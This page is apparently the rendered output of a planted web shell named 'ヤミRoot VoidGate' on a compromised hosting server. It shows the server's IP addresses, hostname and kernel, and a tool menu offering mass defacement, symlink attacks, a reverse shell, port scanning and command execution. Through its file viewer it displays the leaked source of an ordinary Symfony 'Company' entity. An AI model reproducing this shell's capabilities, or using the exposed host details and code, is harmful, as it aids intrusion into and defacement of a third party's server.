ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Entity
/
Viewing: Company.php
<?php namespace AppBundle\Entity; use Doctrine\ORM\Mapping as ORM; use JMS\Serializer\Annotation as Serializer; use Symfony\Component\Validator\Constraints as Assert; use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity; use Doctrine\Common\Collections\ArrayCollection; /** * Compagny * * @ORM\Table(name="company") * @ORM\Entity(repositoryClass="AppBundle\Repository\CompanyRepository") * @UniqueEntity("name") * @UniqueEntity("email") * */ class Company { /** * @var int * * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="AUTO") * @Serializer\Groups({"LIST", "COMPANY_DETAILS", "AGENCY_DETAILS", "BUS_DETAILS", "STAFF_DETAILS", "STANDING_DETAILS"}) */ private $companyId; /** * @var string * * @ORM\Column(name="name", type="string", length=255, nullable=true) * @Serializer\Groups({"LIST", "COMPANY_DETAILS", "AGENCY_DETAILS", "BUS_DETAILS", "STAFF_DETAILS", "STANDING_DETAILS"}) * @Assert\NotBlank */ private $name; /** * @var \AppBundle\Entity\Address * * @ORM\OneToOne(targetEntity="AppBundle\Entity\Address", cascade = "persist") * @Serializer\Groups({"COMPANY_DETAILS"}) * @Serializer\MaxDepth(1) */ private $headOfficeAddress; /** * @var string * * @ORM\Column(name="email", type="string", length=255, unique=true) * @Serializer\Groups({"COMPANY_DETAILS"}) * * @Assert\Email */ private $email; /** * @var \AppBundle\Entity\Staff * * @ORM\OneToOne(targetEntity="AppBundle\Entity\Staff") * @Serializer\Groups({"COMPANY_DETAILS"}) * @Serializer\MaxDepth(1) */ private $admin; /** * @var string * * @ORM\Column(name="description", type="string", length=255, nullable=true) * @Serializer\Groups({"LIST","COMPANY_DETAILS"}) * * @Assert\NotBlank */ private $description; /** * @var bool * * @ORM\Column(name="active", type="boolean", * options = { * "default" : false * } * ) * @Serializer\Groups({"COMPANY_DETAILS"}) */ private $active = false; /** * @var \DateTime * * @ORM\Column(name="created_at", type="datetime") * @Serializer\Groups({"COMPANY_DETAILS"}) */ private $createdAt; /** * @ORM\OneToMany(targetEntity="AppBundle\Entity\Agency", mappedBy="company") * @Serializer\Groups({"COMPANY_DETAILS"}) * @Serializer\MaxDepth(1) */ private $agencies; /** * @ORM\OneToOne(targetEntity="AppBundle\Entity\Image\CompanyLogo", mappedBy="company") * @Serializer\MaxDepth(1) * @Serializer\Exclude */ private $companyLogo; public function __construct() { $this->createdAt = new \DateTime(); $this->agencies = new ArrayCollection(); $this->active = false; } /** * Get companyId * * @return integer */ public function getCompanyId() { return $this->companyId; } /** * Set name * * @param string $name * * @return Company */ public function setName($name) { $this->name = $name; return $this; } /** * Get name * * @return string */ public function getName() { return $this->name; } /** * Set email * * @param string $email * * @return Company */ public function setEmail($email) { $this->email = $email; return $this; } /** * Get email * * @return string */ public function getEmail() { return $this->email; } /** * Set description * * @param string $description * * @return Company */ public function setDescription($description) { $this->description = $description; return $this; } /** * Get description * * @return string */ public function getDescription() { return $this->description; } /** * Set headOfficeAddress * * @param \AppBundle\Entity\Address $headOfficeAddress * * @return Company */ public function setHeadOfficeAddress(\AppBundle\Entity\Address $headOfficeAddress = null) { $this->headOfficeAddress = $headOfficeAddress; return $this; } /** * Get headOfficeAddress * * @return \AppBundle\Entity\Address */ public function getHeadOfficeAddress() { return $this->headOfficeAddress; } /** * Set admin * * @param \AppBundle\Entity\Staff $admin * * @return Company */ public function setAdmin(\AppBundle\Entity\Staff $admin = null) { $this->admin = $admin; return $this; } /** * Get admin * * @return \AppBundle\Entity\Staff */ public function getAdmin() { return $this->admin; } /** * Set active * * @param boolean $active * * @return Company */ public function setActive($active) { $this->active = $active; return $this; } /** * Get active * * @return boolean */ public function getActive() { return $this->active; } /** * Set createdAt * * @param \DateTime $createdAt * * @return Company */ public function setCreatedAt($createdAt) { $this->createdAt = $createdAt; return $this; } /** * Get createdAt * * @return \DateTime */ public function getCreatedAt() { return $this->createdAt; } /** * Add agency * * @param \AppBundle\Entity\Agency $agency * * @return Company */ public function addAgency(\AppBundle\Entity\Agency $agency) { $this->agencies[] = $agency; return $this; } /** * Remove agency * * @param \AppBundle\Entity\Agency $agency */ public function removeAgency(\AppBundle\Entity\Agency $agency) { $this->agencies->removeElement($agency); } /** * Get agencies * * @return \Doctrine\Common\Collections\Collection */ public function getAgencies() { return $this->agencies; } /** * Set companyLogo * * @param \AppBundle\Entity\Image\CompanyLogo $companyLogo * * @return Company */ public function setCompanyLogo(\AppBundle\Entity\Image\CompanyLogo $companyLogo = null) { $this->companyLogo = $companyLogo; return $this; } /** * Get companyLogo * * @return \AppBundle\Entity\Image\CompanyLogo */ public function getCompanyLogo() { return $this->companyLogo; } }
Coded With 💗 by
0x6ick